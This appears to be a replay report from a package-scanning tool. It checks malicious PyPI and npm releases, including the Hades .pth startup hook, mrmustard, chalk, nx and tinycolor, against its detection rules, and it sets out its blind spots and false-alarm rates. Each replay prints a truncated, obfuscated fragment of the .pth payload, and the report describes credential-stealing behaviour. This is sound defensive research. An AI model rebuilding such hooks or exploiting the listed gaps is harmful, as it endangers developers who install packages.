- 0.4.1: no tag named 0.4.1, v0.4.1, coolbox-0.4.1 or coolbox-v0.4.1 in github.com/GangCaoLab/CoolBox <https://github.com/GangCaoLab/CoolBox/tags>
verdict: warn
What this replay could not see
GRN-T001 cannot fire: no earlier attestations. The repository has no tag for this version today, and we found no record of one on the day, so GRN-T004 reports it as well as the .pth file.
Hades campaign: the same <name>-setup.pth payload.
garnet diff executor-engine 0.3.3 0.3.4
executor-engine 0.3.3 → 0.3.4: WARNWARN GRN-C001 new-pth-file: 0.3.4 adds code that runs at every Python startup (.pth)
- new executor_engine-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
WARN GRN-T004 no-matching-tag: github.com/Nanguage/executor-engine has a tag for 0.3.3 but none for 0.3.4
- 0.3.3 → tag 0.3.3 at 1281610c07f546be87c2270c3eddcd557be71eaa <https://github.com/Nanguage/executor-engine/tree/0.3.3>
- 0.3.4: no tag named 0.3.4, v0.3.4, executor-engine-0.3.4 or executor-engine-v0.3.4 in github.com/Nanguage/executor-engine <https://github.com/Nanguage/executor-engine/tags>
verdict: warn
What this replay could not see
GRN-T001 cannot fire: no earlier attestations. The repository has no tag for this version today, and we found no record of one on the day, so GRN-T004 reports it as well as the .pth file.
Hades campaign: the same <name>-setup.pth payload.
garnet diff executor-http 0.1.2 0.1.3
executor-http 0.1.2 → 0.1.3: WARNWARN GRN-C001 new-pth-file: 0.1.3 adds code that runs at every Python startup (.pth)
- new executor_http-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
WARN GRN-T004 no-matching-tag: github.com/Nanguage/executor-http has a tag for 0.1.2 but none for 0.1.3
- 0.1.2 → tag 0.1.2 at 6d1f6c2174af00fb9433ccf78571f176d3ee92d9 <https://github.com/Nanguage/executor-http/tree/0.1.2>
- 0.1.3: no tag named 0.1.3, v0.1.3, executor-http-0.1.3 or executor-http-v0.1.3 in github.com/Nanguage/executor-http <https://github.com/Nanguage/executor-http/tags>
verdict: warn
What this replay could not see
GRN-T001 cannot fire: no earlier attestations. The repository has no tag for this version today, and we found no record of one on the day, so GRN-T004 reports it as well as the .pth file.
Hades campaign: the same <name>-setup.pth payload.
garnet diff funcdesc 0.2.1 0.2.2
funcdesc 0.2.1 → 0.2.2: WARNWARN GRN-C001 new-pth-file: 0.2.2 adds code that runs at every Python startup (.pth)
- new funcdesc-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
WARN GRN-T004 no-matching-tag: github.com/Nanguage/funcdesc has a tag for 0.2.1 but none for 0.2.2
- 0.2.1 → tag 0.2.1 at 60df2dc72433567d2c7e9aaa2de846f7a4ae1868 <https://github.com/Nanguage/funcdesc/tree/0.2.1>
- 0.2.2: no tag named 0.2.2, v0.2.2, funcdesc-0.2.2 or funcdesc-v0.2.2 in github.com/Nanguage/funcdesc <https://github.com/Nanguage/funcdesc/tags>
verdict: warn
What this replay could not see
GRN-T001 cannot fire: no earlier attestations. The repository has no tag for this version today, and we found no record of one on the day, so GRN-T004 reports it as well as the .pth file.
Hades campaign: the same <name>-setup.pth payload. 0.6.8 was malicious too and is not replayed (no file hash published). The package metadata links no repository, so GRN-T004 cannot look for a tag.
garnet diff magique 0.6.7 0.6.9
magique 0.6.7 → 0.6.9: WARNWARN GRN-C001 new-pth-file: 0.6.9 adds code that runs at every Python startup (.pth)
- new magique-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
verdict: warn
What this replay could not see
The package metadata links no repository, so GRN-T004 had nowhere to look. GRN-T001 cannot fire: no earlier attestations. The new .pth file carries the result on its own.
Hades campaign: the same <name>-setup.pth payload. 0.4.4 was malicious too and is not replayed (no file hash published). The package metadata links no repository.
garnet diff magique-ai 0.4.3 0.4.5
magique-ai 0.4.3 → 0.4.5: WARNWARN GRN-C001 new-pth-file: 0.4.5 adds code that runs at every Python startup (.pth)
- new magique_ai-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
verdict: warn
What this replay could not see
The package metadata links no repository, so GRN-T004 had nowhere to look. GRN-T001 cannot fire: no earlier attestations. The new .pth file carries the result on its own.
Hades campaign: the same <name>-setup.pth payload.
garnet diff mrbios 0.1.0 0.1.1
mrbios 0.1.0 → 0.1.1: WARNWARN GRN-C001 new-pth-file: 0.1.1 adds code that runs at every Python startup (.pth)
- new mrbios-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
WARN GRN-T004 no-matching-tag: github.com/Nanguage/mrbios has a tag for 0.1.0 but none for 0.1.1
- 0.1.0 → tag 0.1.0 at 3a1631f503b569e722eb06774d20500b5b881033 <https://github.com/Nanguage/mrbios/tree/0.1.0>
- 0.1.1: no tag named 0.1.1, v0.1.1, mrbios-0.1.1 or mrbios-v0.1.1 in github.com/Nanguage/mrbios <https://github.com/Nanguage/mrbios/tags>
verdict: warn
What this replay could not see
GRN-T001 cannot fire: no earlier attestations. The repository has no tag for this version today, and we found no record of one on the day, so GRN-T004 reports it as well as the .pth file.
Hades campaign: the same <name>-setup.pth payload. 0.0.2 was malicious too and is not replayed (no file hash published). The package metadata links no repository.
garnet diff napari-ufish 0.0.1 0.0.3
napari-ufish 0.0.1 → 0.0.3: WARNWARN GRN-C001 new-pth-file: 0.0.3 adds code that runs at every Python startup (.pth)
- new napari_ufish-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
verdict: warn
What this replay could not see
The package metadata links no repository, so GRN-T004 had nowhere to look. GRN-T001 cannot fire: no earlier attestations. The new .pth file carries the result on its own.
Hades campaign: the same <name>-setup.pth payload. The package metadata links no repository.
garnet diff nucbox 0.1.1 0.1.2
nucbox 0.1.1 → 0.1.2: WARNWARN GRN-C001 new-pth-file: 0.1.2 adds code that runs at every Python startup (.pth)
- new nucbox-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
verdict: warn
What this replay could not see
The package metadata links no repository, so GRN-T004 had nowhere to look. GRN-T001 cannot fire: no earlier attestations. The new .pth file carries the result on its own.
Hades campaign: the same <name>-setup.pth payload.
garnet diff okite 0.0.6 0.0.7
okite 0.0.6 → 0.0.7: WARNWARN GRN-C001 new-pth-file: 0.0.7 adds code that runs at every Python startup (.pth)
- new okite-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
WARN GRN-T004 no-matching-tag: github.com/Nanguage/okite has a tag for 0.0.6 but none for 0.0.7
- 0.0.6 → tag 0.0.6 at 783add3e81771e58865bc1c026baa6cbf946cdfc <https://github.com/Nanguage/okite/tree/0.0.6>
- 0.0.7: no tag named 0.0.7, v0.0.7, okite-0.0.7 or okite-v0.0.7 in github.com/Nanguage/okite <https://github.com/Nanguage/okite/tags>
verdict: warn
What this replay could not see
GRN-T001 cannot fire: no earlier attestations. The repository has no tag for this version today, and we found no record of one on the day, so GRN-T004 reports it as well as the .pth file.
Hades campaign: the same <name>-setup.pth payload. A tag v0.6.1 exists today and points at a commit dated 2026-05-25, before the upload; a lightweight tag carries no date of its own, so the replay assumes it was already there and GRN-T004 stays quiet.
garnet diff pantheon-agents 0.6.0 0.6.1
pantheon-agents 0.6.0 → 0.6.1: WARNWARN GRN-C001 new-pth-file: 0.6.1 adds code that runs at every Python startup (.pth)
- new pantheon_agents-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
verdict: warn
What this replay could not see
A v0.6.1 tag exists and points at a commit from May 25, 2026, eleven days before the upload. A lightweight tag carries no date of its own, so the replay assumes it was already there and GRN-T004 stays quiet. GRN-T001 cannot fire: no earlier attestations.
Hades campaign: the same <name>-setup.pth payload. The package metadata links no repository.
garnet diff pantheon-toolsets 0.5.4 0.5.5
pantheon-toolsets 0.5.4 → 0.5.5: WARNWARN GRN-C001 new-pth-file: 0.5.5 adds code that runs at every Python startup (.pth)
- new pantheon_toolsets-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
verdict: warn
What this replay could not see
The package metadata links no repository, so GRN-T004 had nowhere to look. GRN-T001 cannot fire: no earlier attestations. The new .pth file carries the result on its own.
Hades campaign: the same <name>-setup.pth payload. The package metadata links no repository.
garnet diff synago 0.1.0 0.1.1
synago 0.1.0 → 0.1.1: WARNWARN GRN-C001 new-pth-file: 0.1.1 adds code that runs at every Python startup (.pth)
- new synago-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
verdict: warn
What this replay could not see
The package metadata links no repository, so GRN-T004 had nowhere to look. GRN-T001 cannot fire: no earlier attestations. The new .pth file carries the result on its own.
Hades campaign: the same <name>-setup.pth payload. The project later tagged its own v0.1.3 and v0.1.4 and published 0.1.5 to PyPI (2026-09-30).
garnet diff uprobe 0.1.2 0.1.3
uprobe 0.1.2 → 0.1.3: WARNWARN GRN-C001 new-pth-file: 0.1.3 adds code that runs at every Python startup (.pth)
- new uprobe-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
WARN GRN-T004 no-matching-tag: github.com/UFISH-Team/U-Probe has a tag for 0.1.2 but none for 0.1.3
- 0.1.2 → tag v0.1.2 at f302dffcd148f73a40494831f08ba62997104386 <https://github.com/UFISH-Team/U-Probe/tree/v0.1.2>
- 0.1.3: no tag named 0.1.3, v0.1.3, uprobe-0.1.3 or uprobe-v0.1.3 in github.com/UFISH-Team/U-Probe <https://github.com/UFISH-Team/U-Probe/tags>
verdict: warn
Tags as of today
garnet diff uprobe 0.1.2 0.1.3
uprobe 0.1.2 → 0.1.3: WARNWARN GRN-C001 new-pth-file: 0.1.3 adds code that runs at every Python startup (.pth)
- new uprobe-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
verdict: warn
What this replay could not see
The project tagged its own v0.1.3 three months later, on a commit from September 2026, so against today's tags GRN-T004 would miss this release; the replay reads the tags as of June 2026 and reports it. GRN-T001 cannot fire: no earlier attestations.
Hades campaign: the same <name>-setup.pth payload. The linked repository is no longer public, so GRN-T004 reports GRN-E001.
garnet diff dreamgen 1.8.0 1.8.1
dreamgen 1.8.0 → 1.8.1: WARNWARN GRN-C001 new-pth-file: 1.8.1 adds code that runs at every Python startup (.pth)
- new dreamgen-setup.pth (1,315 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
WARN GRN-E001 fetch-failed: Couldn't fully check 1.8.1: tag lookup: tag lookup for github.com/Agentic-Insights/dreamgen returned HTTP 401
- tag lookup: tag lookup for github.com/Agentic-Insights/dreamgen returned HTTP 401
- not evaluated: GRN-T004
WARN GRN-E001 fetch-failed [in 1.8.0]: Couldn't fully check 1.8.0: tag lookup: tag lookup for github.com/Agentic-Insights/dreamgen returned HTTP 401
- tag lookup: tag lookup for github.com/Agentic-Insights/dreamgen returned HTTP 401
- not evaluated: GRN-T004
verdict: warn
What this replay could not see
The linked repository is no longer public, so the tag lookup fails and GRN-E001 says so instead of passing. GRN-T001 cannot fire: no earlier attestations.
Hades campaign: the same <name>-setup.pth payload.
garnet diff mem8 6.0.0 6.0.1
mem8 6.0.0 → 6.0.1: WARNWARN GRN-C001 new-pth-file: 6.0.1 adds code that runs at every Python startup (.pth)
- new mem8-setup.pth (1,315 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
WARN GRN-T004 no-matching-tag: github.com/killerapp/mem8 has a tag for 6.0.0 but none for 6.0.1
- 6.0.0 → tag v6.0.0 at 6eea0644569cfdeaf3773e785c34647fa67d911d <https://github.com/killerapp/mem8/tree/v6.0.0>
- 6.0.1: no tag named 6.0.1, v6.0.1, mem8-6.0.1 or mem8-v6.0.1 in github.com/killerapp/mem8 <https://github.com/killerapp/mem8/tags>
verdict: warn
What this replay could not see
GRN-T001 cannot fire: no earlier attestations. The repository has no tag for this version today, and we found no record of one on the day, so GRN-T004 reports it as well as the .pth file.
Hades campaign: the same <name>-setup.pth payload. The package metadata links no repository. 0.8.100 ships platform wheels only; 0.8.101 is a pure-Python wheel.
garnet diff ensmallen 0.8.100 0.8.101
ensmallen 0.8.100 → 0.8.101: WARNWARN GRN-C001 new-pth-file: 0.8.101 adds code that runs at every Python startup (.pth)
- new ensmallen-setup.pth (1,407 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
- compared wheels with different tags: cp37-abi3-manylinux2014_x86_64.cp37-abi3-manylinux_2_17_x86_64 vs py3-none-any
WARN GRN-E003 budget-exceeded: Couldn't fully check 0.8.101: ensmallen-0.8.101-py3-none-any.whl: ensmallen/datasets/string.py is larger than the parse limit
- ensmallen-0.8.101-py3-none-any.whl: ensmallen/datasets/string.py is larger than the parse limit
- not evaluated: GRN-C003
WARN GRN-E003 budget-exceeded: Couldn't fully check 0.8.101: ensmallen-0.8.101-py3-none-any.whl: entry 'ensmallen/datasets/wikipedia.py' exceeds compression ratio limit
- ensmallen-0.8.101-py3-none-any.whl: entry 'ensmallen/datasets/wikipedia.py' exceeds compression ratio limit
- not evaluated: GRN-C001, GRN-C003
WARN GRN-E003 budget-exceeded [in 0.8.100]: Couldn't fully check 0.8.100: ensmallen-0.8.100-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl: ensmallen/datasets/string.py is larger than the parse limit
- ensmallen-0.8.100-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl: ensmallen/datasets/string.py is larger than the parse limit
- not evaluated: GRN-C003
WARN GRN-E003 budget-exceeded [in 0.8.100]: Couldn't fully check 0.8.100: ensmallen-0.8.100-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl: entry 'ensmallen/datasets/wikipedia.py' exceeds compression ratio limit
- ensmallen-0.8.100-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl: entry 'ensmallen/datasets/wikipedia.py' exceeds compression ratio limit
- not evaluated: GRN-C001, GRN-C003
verdict: warn
What this replay could not see
The package metadata links no repository, so GRN-T004 had nowhere to look. GRN-T001 cannot fire: no earlier attestations. The new .pth file carries the result on its own. GRN-E003 reports ensmallen/datasets/string.py as larger than the parser's limit, as something it could not read rather than a pass. 0.8.100 shipped platform wheels only and 0.8.101 a pure-Python wheel.
Hades campaign: the same <name>-setup.pth payload.
garnet diff phenopacket-store-toolkit 0.1.6 0.1.7
phenopacket-store-toolkit 0.1.6 → 0.1.7: WARNWARN GRN-C001 new-pth-file: 0.1.7 adds code that runs at every Python startup (.pth)
- new phenopacket_store_toolkit-setup.pth (1,407 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
WARN GRN-T004 no-matching-tag: github.com/monarch-initiative/phenopacket-store-toolkit has a tag for 0.1.6 but none for 0.1.7
- 0.1.6 → tag v0.1.6 at 7024331c149c5d4fd1aa69c313294b50fe2322fb <https://github.com/monarch-initiative/phenopacket-store-toolkit/tree/v0.1.6>
- 0.1.7: no tag named 0.1.7, v0.1.7, phenopacket-store-toolkit-0.1.7 or phenopacket-store-toolkit-v0.1.7 in github.com/monarch-initiative/phenopacket-store-toolkit <https://github.com/monarch-initiative/phenopacket-store-toolkit/tags>
verdict: warn
What this replay could not see
GRN-T001 cannot fire: no earlier attestations. The repository has no tag for this version today, and we found no record of one on the day, so GRN-T004 reports it as well as the .pth file.
An attacker took over a maintainer's GitHub account on 2026-07-23, had the project's CI leak its PyPI token, and uploaded 0.7.4; found 2026-07-24. mrmustard/__init__.py starts a thread at import that reads SSH keys and cloud credentials and installs a .pth, a cron job and a shell hook. No v0.7.4 tag exists (StepSecurity), and the package metadata links no repository, so GRN-T004 cannot look for one.
garnet diff mrmustard 0.7.3 0.7.4
mrmustard 0.7.3 → 0.7.4: WARNWARN GRN-C003 new-import-time-exec: 0.7.4 adds import-time calls to sensitive APIs in 1 module(s)
- mrmustard/__init__.py:88 calls subprocess.check_output (in _c(), reached at import)
- mrmustard/__init__.py:121 calls urllib.request.urlopen (in _eip(), reached at import)
- mrmustard/__init__.py:122 calls urllib.request.Request (in _eip(), reached at import)
- mrmustard/__init__.py:160 calls urllib.request.Request (in _run(), reached at import)
- mrmustard/__init__.py:165 calls urllib.request.urlopen (in _run(), reached at import)
- mrmustard/__init__.py:227 calls subprocess.check_output (in _run(), reached at import)
- mrmustard/__init__.py:235 calls subprocess.Popen (in _run(), reached at import)
verdict: warn
What this replay could not see
No v0.7.4 tag exists, but the package metadata links no repository, so GRN-T004 cannot help. GRN-T001 cannot fire: no earlier attestations. The payload is a thread started at import, two calls deep: __init__.py calls a new function, which hands a nested function to threading.Thread.
Published from the maintainer's phished npm account on 2025-09-08; index.js gained an obfuscated line that hijacks crypto transactions in browsers. The package had never used provenance.
garnet diff npm:chalk 5.6.0 5.6.1
chalk 5.6.0 → 5.6.1: WARNWARN GRN-T004 no-matching-tag: github.com/chalk/chalk has a tag for 5.6.0 but none for 5.6.1
- 5.6.0 → tag v5.6.0 at 5c91505e184aff4609c0a7fb235770c2f71db4a3 <https://github.com/chalk/chalk/tree/v5.6.0>
- 5.6.1: no tag named 5.6.1, v5.6.1, chalk-5.6.1 or chalk-v5.6.1 in github.com/chalk/chalk <https://github.com/chalk/chalk/tags>
verdict: warn
What this replay could not see
npm removes the files of a malicious version along with its registry record, so this replay checks the registry facts the write-ups recorded (no provenance before or after, no install scripts) and reads the repository's tags; the tarball itself is not inspected. The content change, an obfuscated line in index.js, is outside what the replay can see. GRN-T001 cannot fire: chalk never published provenance.
Same account takeover as chalk, minutes earlier; a maintainer noticed that the version on npm was not in the repository.
garnet diff npm:debug 4.4.1 4.4.2
debug 4.4.1 → 4.4.2: WARNWARN GRN-T004 no-matching-tag: github.com/debug-js/debug has a tag for 4.4.1 but none for 4.4.2
- 4.4.1 → tag 4.4.1 at 33330fa8616b9b33f29f7674747be77266878ba6 <https://github.com/debug-js/debug/tree/4.4.1>
- 4.4.2: no tag named 4.4.2, v4.4.2, debug-4.4.2 or debug-v4.4.2 in github.com/debug-js/debug <https://github.com/debug-js/debug/tags>
verdict: warn
What this replay could not see
As chalk: registry facts and tags only, and no provenance to lose.
Published with an npm token stolen through a GitHub Actions injection; package.json's postinstall became `node telemetry.js`, a credential stealer that drives local AI CLIs. Earlier nx releases carried provenance; this one had none.
garnet diff npm:nx 21.4.1 21.5.0
nx 21.4.1 → 21.5.0: WARNWARN GRN-C002 new-build-hook: 21.5.0 adds or changes a script that runs when the package is installed
- package.json: postinstall script changed to node telemetry.js (was node ./bin/post-install || exit 0)
WARN GRN-T001 lost-provenance: 1 file(s) in 21.5.0 have no attestation; every file of 21.4.1 had one
- nx-21.5.0.tgz: no attestation
- 21.4.1 was attested by github.com/nrwl/nx .github/workflows/publish.yml
WARN GRN-T004 no-matching-tag: github.com/nrwl/nx has a tag for 21.4.1 but none for 21.5.0
- 21.4.1 → tag 21.4.1 at 0f3070161c15cfb0dfbf7f730c257d6322a2235a <https://github.com/nrwl/nx/tree/21.4.1>
- 21.5.0: no tag named 21.5.0, v21.5.0, nx-21.5.0 or nx-v21.5.0 in github.com/nrwl/nx <https://github.com/nrwl/nx/tags>
verdict: warn
What this replay could not see
Registry facts and tags only; the tarball is not inspected. nx's earlier releases carried provenance from its publish workflow, which is why GRN-T001 fires here. The postinstall change is read from the package.json the registry served.
First package of the Shai-Hulud worm: package.json gained a postinstall running a 3.6 MB bundle.js that steals tokens and republishes itself into every package the token can reach.
garnet diff npm:@ctrl/tinycolor 4.1.0 4.1.1
@ctrl/tinycolor 4.1.0 → 4.1.1: WARNWARN GRN-C002 new-build-hook: 4.1.1 adds or changes a script that runs when the package is installed
- package.json: new prepare script: npm run build
- package.json: new postinstall script: node bundle.js
WARN GRN-T004 no-matching-tag: github.com/scttcper/tinycolor has a tag for 4.1.0 but none for 4.1.1
- 4.1.0 → tag v4.1.0 at 2927a9d2aa03e037486a79a295542a7848621691 <https://github.com/scttcper/tinycolor/tree/v4.1.0>
- 4.1.1: no tag named 4.1.1, v4.1.1, @ctrl/tinycolor-4.1.1 or @ctrl/tinycolor-v4.1.1 in github.com/scttcper/tinycolor <https://github.com/scttcper/tinycolor/tags>
verdict: warn
What this replay could not see
Registry facts and tags only. GRN-T001 cannot fire: the package never published provenance. The new postinstall is the finding; the 3.6 MB bundle.js it runs is not inspected.
Limits, and what we're doing about them
Every limit we know about, with its status. Fixed means a rule on the tool's main branch flags it now and the replay above shows it. Being built means a check is in progress as a draft pull request, measured on the replays and the everyday corpus before it lands. Stays as it is means a limit of the method or of this sample, stated so you can weigh the numbers. The list mirrors the limits in the tool's README and is updated when each change lands.
Fixed
The first run, on the rules as first written, missed or under-reported these. The replay above shows each one flagged, by a rule that was checked against the everyday corpus before it landed.
fixedultralytics 8.3.42 was missed by the rules as first written. The project's own release workflow built and published it with valid attestations and its usual git tag, after a GitHub Actions cache-poisoning attack, and the miner runs when a model is downloaded, not at import, so no trust or import-time rule saw it. GRN-C007 was written for it: it compares the wheel's Python files with the repository at the release's tag and reports the ones that differ and carry a sensitive call (#41). Its replay shows the finding.
fixedembiggen 0.11.97 was missed. The trusted release shipped only a source archive and the malicious one only a wheel, so the content rules had no pair to compare and passed silently. They now compare across kinds and say so on the finding (#33); its replay shows the new .pth file.
fixedmrmustard 0.7.4 was missed. Its payload sits in a function defined inside the function __init__.py calls at import, one step past where GRN-C003 stopped following. It follows that step now (#36); its replay shows the thread's subprocess and urllib calls reached at import.
fixedmemoryos 2.0.34 and num2words 0.5.15 were flagged for weaker reasons than their payloads. memoryos hid its payload behind a logging setup function in another module, and num2words loads a DLL through getattr(ctypes, "CDLL"); GRN-C003 followed neither, so memoryos was reported only for its changed build backend and num2words only for its missing tag and a file that wouldn't parse. GRN-C003 now follows calls into the package's other modules (#34) and through getattr (#32); the replays of memoryos and num2words show the import-time calls. The binaries themselves are a rule being built, below.
Being built
One draft pull request per check in the tool repository (pull requests), in the order below; the first, GRN-C008 new-dependency, is open as #68. Each is measured on the 51 replays and the 18,181 everyday updates before it lands; a noisy one ships at info. Until a check lands, the gap it closes is open.
being builtA new dependency. A one-line change to the package's metadata can pull in a package the project has never trusted. No rule reads that line today, and no content rule runs on the new package, because it has no earlier release to compare against. A new-dependency rule, GRN-C008, is being built (#68, draft).
being builtAn extra wheel uploaded later. Garnet opens one wheel per release. A wheel added to the same release days later, for another platform or Python version, is not compared with it. An extra-wheel consistency check is being built.
being builtA call that isn't on the sensitive list.GRN-C003 reports calls from a fixed list: processes, code loading and the network. A payload that reaches the same ends through an API off the list stays quiet. The list is being widened.
being builtA new entry point. An entry point that pytest or setuptools loads automatically runs without anyone importing the package. A new-entry-point rule is being built.
being builtBinaries and compiled code. num2words shipped a DLL named .py and memoryos a bundled binary. GRN-C003 reads Python, so it reports the code that loads such a file, not the file itself. GRN-C004 (new binary) is being built to report the files.
being builtNo JavaScript content rule. chalk 5.6.1 and debug 4.4.2 are reported by the missing tag alone: they never used provenance, and the one changed file, index.js, is gone from the registry. npm content checks stop at package.json scripts (GRN-C002). A JavaScript content rule is being built, measured on the npm replays and the npm everyday corpus.
Stays as it is
Limits of the method or of this sample. None changes a result above; each says what a number does and doesn't show.
staysA payload that runs on use, from code that was committed. GRN-C007 catches the ultralytics shape because the injected file was never committed. Code that is committed to the repository, built normally and runs when the package is used rather than at import is not reported by any current rule, and no rule for it is being built yet. It is the clearest open gap in the method.
stays24 of the 47 PyPI releases carry the same payload. The June 2026 Hades campaign's <name>-setup.pth, one release in each of 24 packages. They are 24 instances of one technique, mostly in small projects: four of those packages had a single earlier release, and bramin's trusted release is from 2020. Counted by technique, the set covers five: a .pth startup hook, code that runs at import, a swapped build backend, a DLL named .py, and a payload that runs on use.
staysLost provenance fired only for ultralytics 8.3.45 and 8.3.46 and for nx 21.5.0. They are the only replayed projects that attested their releases before the attack, so GRN-T001 had nothing to compare elsewhere. PyPI no longer serves provenance for removed releases, so the ultralytics replay records the missing attestations from PyPI's analysis.
staysWhen the attacker controls the project's CI, the trust signals are true. For elementary-data, ultralytics 8.3.41 and 8.3.42 and memoryos, provenance looks normal because the project's own pipeline published the release. The content rules carry the result: the new .pth for elementary-data, the build backend and the import-time call for memoryos, the missing tag for ultralytics 8.3.41 and GRN-C007 for 8.3.42.
staysThe tag check reads tags as they stood on the day.GRN-T004 uses the git tags as they were when each release was uploaded, recorded with evidence in incidents.toml. Against today's tags it would also report elementary-data 0.23.3 and ultralytics 8.3.42, whose attacker-made tags have since been deleted (GRN-C007 needs the tag, so on today's tags it is GRN-T004 that reports ultralytics 8.3.42), and would miss telnyx 4.87.1, gpsea 0.9.14 and uprobe 0.1.3, which their projects tagged later. Both runs are shown where they differ. It could not fire for litellm, embiggen and bramin, which don't tag plain version numbers or don't tag at all; for the nine packages whose metadata links no repository and ppkt2synergy, whose repository has no tags; or for pyphetools and dreamgen, whose repositories are no longer public (reported as GRN-E001). pantheon-agents has a v0.6.1 tag today that points at a commit from eleven days before the upload; a lightweight tag carries no date of its own, so the replay treats it as already there and the rule stays quiet.
staysensmallen's files are larger than the parse limit. Its datasets/ modules exceed Garnet's parse limit in both releases. The replay reports that as GRN-E003, a couldn't-check that is never a pass, and still finds the .pth.
staysA flag is not proof the payload works. In telnyx 4.87.1 a typo stopped the payload from running. GRN-C003 reads code; it reports what the module calls at import, not whether the call would succeed.
staysThe litellm 1.82.7 source archive isn't replayed. No public source gives its address. Its wheel is replayed, and content rules compare wheels.
staysThe npm replays see less. The registry facts (provenance, publisher, install scripts) and the tags are checked; the malicious tarballs are gone and were not inspected, so content rules other than the install-script check cannot fire.
staysThis is hindsight, and the clean sample on the home page is small. The rules were written knowing how these releases were made, four of them after this replay showed a miss or a weak catch. The 20 clean updates on the home page are a smoke test. The fairer test is the everyday corpus below: every flag there states something true, but none of those updates is malicious, so each is a false alarm a reviewer has to dismiss.
Everyday updates
The fairer test is how often the rules fire on ordinary releases. The everyday corpus is the last 11 releases of each of the 1,000 most downloaded PyPI packages and the 1,000 most downloaded npm packages, each compared with the release before it, the way a Dependabot or Renovate update would be: 18,181 updates in all, run on 2026-10-30 with the known-bad feed off and tags as they exist today.
366 of 18,181 updates were flagged for a look (2.0%): 220 of 9,439 on PyPI and 146 of 8,742 on npm. Each flag was checked on its own against the registry, GitHub and the release files, and none made a false claim.
"None made a false claim" means every finding states something true about the release. It does not mean no warning was a false alarm: none of these updates is known to be malicious, so from a user's point of view every flag is a true observation about a legitimate release that a reviewer has to look at and dismiss. The numbers to judge are the rate, about 1 in 50, and whether each flag earns its look.
Two PyPI updates carry two rules, so that column adds up to 222. What the flags found is ordinary: a maintainer who published by hand after releases with provenance, a monorepo that tags by folder, a library that loads native code with ctypes at import, a postinstall that downloads browsers. Every one is listed with its check in the reports: PyPI, top 1,000 and npm, top 1,000.
The first pass found 30 false claims, all fixed before the final run. Nine PyPI and seven npm releases were tagged in forms the tag check didn't read (release-v1.0.0, prebuilt==1.0.11, utils/v2.8.1), the import-time rule misread a local name as a module and a module's own function as a builtin, and one npm finding said "no attestation" where the registry listed one it could not serve. Each fix is described in the reports, with the re-run that confirmed nothing else moved.
Separately, 291 PyPI updates and 30 npm updates carried a couldn't-check notice (a file too large to read, an archive with a link in it, a repository that answers 401, Python 2 code), which names what wasn't checked and never counts as a pass. The earlier, smaller runs (12 of 974 on the top 100 PyPI packages, 33 of 1,809 on the top 200 npm packages) are superseded by these.
Files and sources
